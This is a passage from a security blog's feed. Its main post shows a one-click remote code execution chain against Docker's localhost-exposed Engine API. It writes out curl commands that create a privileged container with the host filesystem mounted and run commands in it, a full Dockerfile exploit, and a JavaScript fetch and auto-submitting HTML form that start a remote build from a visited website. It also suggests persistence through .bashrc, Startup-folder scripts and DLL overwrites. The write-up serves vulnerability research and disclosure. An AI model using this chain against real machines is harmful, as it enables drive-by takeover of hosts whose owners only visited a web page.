<a href="http://source.chromium.org/chromium/chromium/src/+/main:net/disk_cache/cache_util.cc;l=136?q=kdefaultcachesize&amp;ss=chromium%2Fchromium%2Fsrc">Chromium Source</a></p>]]></content><author><name>&lt;firstname&gt; &lt;lastname&gt;</name><email>&lt;mail@domain.tld&gt;</email></author><category term="research" /><summary type="html"><![CDATA[In this blog post we will discuss the solutions for SECCON 2025 Web category.]]></summary></entry><entry><title type="html">Developing a Docker 1-Click RCE chain for fun</title><link href="/research/2025-01-27-Developing-a-Docker-1-Click-RCE-chain-for-fun/" rel="alternate" type="text/html" title="Developing a Docker 1-Click RCE chain for fun" /><published>2025-01-27T00:00:00+00:00</published><updated>2025-12-19T02:18:34+00:00</updated><id>/research/Developing-a-Docker-1-Click-RCE-chain-for-fun</id><content type="html" xml:base="/research/2025-01-27-Developing-a-Docker-1-Click-RCE-chain-for-fun/"><![CDATA[<h2 id="preface">Preface</h2>
<p>I’d like to preface this post by highlighting that this chain requires users to enable a specific setting in their Docker settings. Default installations are secure but if you are a regular Docker user then please make sure that you have this option disabled as otherwise you are vulnerable to RCE.</p>

<h2 id="docker">Docker</h2>
<p>When developing CTF challenges I often make use of Docker for its simple deployments and security guarantees. It was during some recent CTF-related endeavours that I happened upon the following configuration option for Docker which caught my eye.</p>

<p><img src="/assets/img/blog/docker_daemon_setting.png" alt="Docker API Setting" /></p>

<p>The configuration option is pretty simple; it will expose the “Docker API” on port 2375. Docker’s official website provides a description of this API.</p>

<blockquote>
  <p>The Docker Engine API is a RESTful API accessed by an HTTP client such as wget or curl, or the HTTP library which is part of most modern programming languages.</p>
</blockquote>

<p>At the current time of writing the latest version is 1.47 and its endpoints are documented <a href="https://docs.docker.com/reference/api/engine/version/v1.47/">here</a>.</p>

<p>This poses the question; <em>why the strict warning?</em> Of course having access to this API allows you to create containers and execute code. The daemon also makes it possible to escalate your priveleges to the host machine. There have been many cases of attacks against exposed Docker APIs in the past but this is due to the API being made accessible to the outside world. Surely having it bound to localhost is fine?</p>

<h2 id="abusing-the-api">Abusing the API</h2>
<p>As previously mentioned; attacks against exposed Docker APIs are pretty well defined. In fact, PayloadAllTheThings has an exploit script for exactly this case <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/Docker%20API%20RCE.py">here</a>.</p>

<p>The aforementioned exploit script fetches all container IDs and then runs a specific command inside of them. This is good for a general proof of concept but leaves a lot unexplored. <em>What if there’s no containers?</em> <em>How do we get root access in the host context?</em> <em>What if the network configuration doesn’t allow a callback?</em></p>

<h3 id="creating-containers">Creating Containers</h3>

<p>We can answer the first question pretty easily. The Docker API defines an endpoint to create your own containers. Using this, we can simply create our own. To escalate our privileges then we can make use of the <code class="language-plaintext highlighter-rouge">HostConfig</code> option on the endpoint, particularly the <code class="language-plaintext highlighter-rouge">Binds</code> part which allows us to create containers with read-write references to the host filesystem.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> POST <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="nt">-d</span> <span class="s1">'{"image": "alpine","Tty":true,"OpenStdin":true,"Privileged":true,"AutoRemove":true,"HostConfig":{"NetworkMode":"host","Binds":["/:/mnt"]}}'</span> http://localhost:2375/containers/create?name<span class="o">=</span>shell
</code></pre></div></div>

<p><em>To avoid mounting to WSL in Windows you can define a mount to <code class="language-plaintext highlighter-rouge">C:/</code> and access the Windows filesystem</em></p>

<p>This will spawn a container which gives the full host filesystem in <code class="language-plaintext highlighter-rouge">/mnt</code> within the container and allows us to modify and read these files.</p>

<h3 id="starting-containers">Starting Containers</h3>
<p>Once a container is created, we can start it using the <code class="language-plaintext highlighter-rouge">/containers/&lt;name&gt;/start</code> endpoint.</p>

<p>Since we passed a <code class="language-plaintext highlighter-rouge">?name=shell</code> parameter on the previous example we already defined our container name to be <code class="language-plaintext highlighter-rouge">shell</code> so we can use that.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> POST http://localhost:2375/containers/shell/start
</code></pre></div></div>

<h3 id="executing-commands">Executing Commands</h3>
<p>Above we have created a container with a mount to the host filesystem. To escalate our priveleges further we want to overwrite files on the host system.</p>

<p>The Docker API also provides a means of executing commands in our newly created container. Namely <code class="language-plaintext highlighter-rouge">/containers/shell/exec</code> which accepts a <code class="language-plaintext highlighter-rouge">Cmd</code> POST parameter and returns an <code class="language-plaintext highlighter-rouge">exec_id</code> and <code class="language-plaintext highlighter-rouge">/exec/&lt;exec_id&gt;/start</code> endpoint which allows us to run the command.</p>

<p>So we can use something like <code class="language-plaintext highlighter-rouge">jq</code> to parse the output of the first command, save it as an environment variable and use it in the second command to automate this.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">exec_id</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-s</span> <span class="nt">-X</span> POST <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="nt">-d</span> <span class="s1">'{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true, "Tty":false, "Cmd":["mkdir", "/mnt/tmp/pwned"]}'</span> http://localhost:2375/containers/shell/exec | jq <span class="nt">-r</span> .Id<span class="si">)</span>
curl <span class="nt">-X</span> POST <span class="s2">"http://localhost:2375/exec/</span><span class="nv">$exec_id</span><span class="s2">/start"</span> <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="nt">-d</span> <span class="s1">'{"Detach": false, "Tty": false}'</span>
</code></pre></div></div>

<p>Since the command to execute is <code class="language-plaintext highlighter-rouge">mkdir /mnt/tmp/pwned</code> this will create a directory named <code class="language-plaintext highlighter-rouge">pwned</code> in our <code class="language-plaintext highlighter-rouge">/tmp</code> directory on the <em>host</em> filesystem.</p>

<h3 id="host-system-shell">Host System Shell</h3>
<p>Since we have arbitrary write on the host system it is pretty trivial to get a shell now. The above PoC just created the folder on the home system to prove that we have write permissions.</p>

<p>I will avoid spending too much time explaining how this can be done but one option is to overwrite <code class="language-plaintext highlighter-rouge">.bashrc</code> for the root user and wait for next log in. On Windows you can write a batch script to <code class="language-plaintext highlighter-rouge">C:/Users/&lt;user&gt;/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/</code> which will execute on the next sign in.</p>

<p>Alternatively you could overwrite <code class="language-plaintext highlighter-rouge">.so</code> files on linux or <code class="language-plaintext highlighter-rouge">.dll</code> on Windows if you want to achieve an instant shell. I’ll leave this as an exercise for the reader. 😂</p>

<h2 id="one-click-rce">One-Click RCE</h2>
<p>So at this point you should have a good idea of how we can exploit an exposed Docker API. This gave me an idea though; since this runs on <code class="language-plaintext highlighter-rouge">localhost:2375</code> is there a way for us to abuse this through a browser? That is, could we find a way of exploiting a user who visits our website and has this service running on their localhost?</p>

<h3 id="sop">SOP</h3>
<p>One of the main obstacles to this is Same-Origin Policy which prevents websites from interacting with endpoints of a different origin. There are some tricks to bypass this restriction; redirecting to a URL is usually not blocked. However, most of the important endpoints on the Docker API are POST.</p>

<p>Another common strategy is defining a HTML form with an action pointing to a remote resource and submitting it using javascript’s <code class="language-plaintext highlighter-rouge">form.submit()</code> call. This would allow us to send a single POST request (along with URL parameters) to the API. The problem is that the API seems to be strictly <code class="language-plaintext highlighter-rouge">application/json</code> and the forms do not support that.</p>

<p>So, can we find an endpoint that will allow us to do everything we need with just a POST primitive?</p>

<h3 id="image-builds">Image Builds</h3>
<p>I tried a number of different endpoints until I eventually discovered <code class="language-plaintext highlighter-rouge">/build</code></p>

<p><img src="/assets/img/blog/build_endpoint.png" alt="build endpoint" /></p>

<p>Interestingly, it accepts URL parameters. The most interesting here was <code class="language-plaintext highlighter-rouge">remote</code> which allows you to specify a remote URL for a <code class="language-plaintext highlighter-rouge">Dockerfile</code> and it will install and run the build. I built a HTML form on my website and tested this out to verify it works.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;form</span> <span class="na">action=</span><span class="s">"http://localhost:2375/build?remote=https://&lt;snip&gt;/Dockerfile"</span><span class="nt">&gt;</span>
  <span class="nt">&lt;input</span> <span class="na">id=</span><span class="s">"btn"</span> <span class="na">type=</span><span class="s">"submit"</span><span class="nt">&gt;</span>
<span class="nt">&lt;/form&gt;</span>
<span class="nt">&lt;script&gt;</span><span class="nb">document</span><span class="p">.</span><span class="nf">getElementById</span><span class="p">(</span><span class="dl">"</span><span class="s2">btn</span><span class="dl">"</span><span class="p">).</span><span class="nf">click</span><span class="p">();</span><span class="nt">&lt;/script&gt;</span>
</code></pre></div></div>

<p>Visiting the above page built my remote Dockerfile into an image.</p>

<h3 id="abusing-image-builds">Abusing Image Builds</h3>
<p>It turns out that image builds take place in their own short-lived container. Here, we can define what gets installed and run arbitrary commands. This gave me an idea for a sort of <em>“inception”</em> attack. Could we use the docker image build process to interact with the API <em>again</em> but this time using curl where we can set the <code class="language-plaintext highlighter-rouge">application/json</code> content type.</p>

<p>Well no… Because the build process wouldn’t have access to <code class="language-plaintext highlighter-rouge">localhost</code> on the host machine. Here is where I noticed another optional parameter.</p>

<p><img src="/assets/img/blog/networkmode_option.png" alt="networkmode parameter" /></p>

<p>Aha! We can set the <code class="language-plaintext highlighter-rouge">networkmode</code> to <code class="language-plaintext highlighter-rouge">host</code> and this will allow us to interact with <code class="language-plaintext highlighter-rouge">localhost</code> on the host machine by referencing <code class="language-plaintext highlighter-rouge">host.docker.internal</code> host. This way we can create a Dockerfile which creates a mounted container to the host, runs commands to overwrite host files and all from them simply visiting our website which submits a form. 😱</p>

<h2 id="putting-it-all-together">Putting it all Together</h2>
<p>Below is my Dockerfile exploit.</p>

<div class="language-Dockerfile highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">FROM</span><span class="s"> alpine:latest</span>

<span class="k">RUN </span>apk add <span class="nt">--no-cache</span> curl jq

<span class="k">RUN </span>curl <span class="nt">-X</span> POST <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="nt">-d</span> <span class="s1">'{"image": "alpine","Tty":true,"OpenStdin":true,"Privileged":true,"AutoRemove":true,"HostConfig":{"NetworkMode":"host","Binds":["/:/mnt"]}}'</span> http://host.docker.internal:2375/containers/create?name<span class="o">=</span>shell
<span class="k">RUN </span>curl <span class="nt">-X</span> POST http://host.docker.internal:2375/containers/shell/start
<span class="k">RUN </span><span class="nv">exec_id</span><span class="o">=</span><span class="si">$(</span>curl <span class="nt">-s</span> <span class="nt">-X</span> POST <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="nt">-d</span> <span class="s1">'{"AttachStdin":false,"AttachStdout":true,"AttachStderr":true, "Tty":false, "Cmd":["mkdir", "/mnt/tmp/pwned"]}'</span> http://host.docker.internal:2375/containers/shell/exec | jq <span class="nt">-r</span> .Id<span class="si">)</span> <span class="o">&amp;&amp;</span> curl <span class="nt">-X</span> POST <span class="s2">"http://host.docker.internal:2375/exec/</span><span class="nv">$exec_id</span><span class="s2">/start"</span> <span class="nt">-H</span> <span class="s2">"Content-Type: application/json"</span> <span class="nt">-d</span> <span class="s1">'{"Detach": false, "Tty": false}'</span>
</code></pre></div></div>

<p>Then all we need is a website to complete the POST to <code class="language-plaintext highlighter-rouge">http://localhost:2375/build?remote=http://&lt;snip&gt;/Dockerfile&amp;networkmode=host</code> for it to execute. You can use the form above or simply run the follow javascript.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">fetch</span><span class="p">(</span><span class="dl">"</span><span class="s2">http://127.0.0.1:2375/build?remote=https://&lt;snip&gt;/Dockerfile&amp;networkmode=host</span><span class="dl">"</span><span class="p">,</span> <span class="p">{</span><span class="na">method</span><span class="p">:</span> <span class="dl">"</span><span class="s2">POST</span><span class="dl">"</span><span class="p">,</span> <span class="na">mode</span><span class="p">:</span> <span class="dl">"</span><span class="s2">no-cors</span><span class="dl">"</span><span class="p">})</span>
</code></pre></div></div>

<h2 id="final-remarks">Final Remarks</h2>
<p>I think there is some more potential to expand from here. If we could build the image using GET then it’d make for a useful SSRF -&gt; RCE gadget. This post was a bit rushed as I wanted a placeholder for my new blog so feel free to reach out to me on X (<a href="https://x.com/loosesecurity">@LooseSecurity</a>) if you think there’s more I could add to this.</p>

<p>I also wanted to point out that I did the <em>responsible thing</em> and checked with Docker Security before posting this and it is indeed an accepted risk that if you toggle this option then you are wide open to exploitation.</p>]]></content><author><name>&lt;firstname&gt; &lt;lastname&gt;</name><email>&lt;mail@domain.tld&gt;</email></author><category term="research" /><summary type="html"><![CDATA[In this blog post we will explore the possibility of abusing Docker's API to achieve a 1-click RCE chain.]]></summary></entry></feed>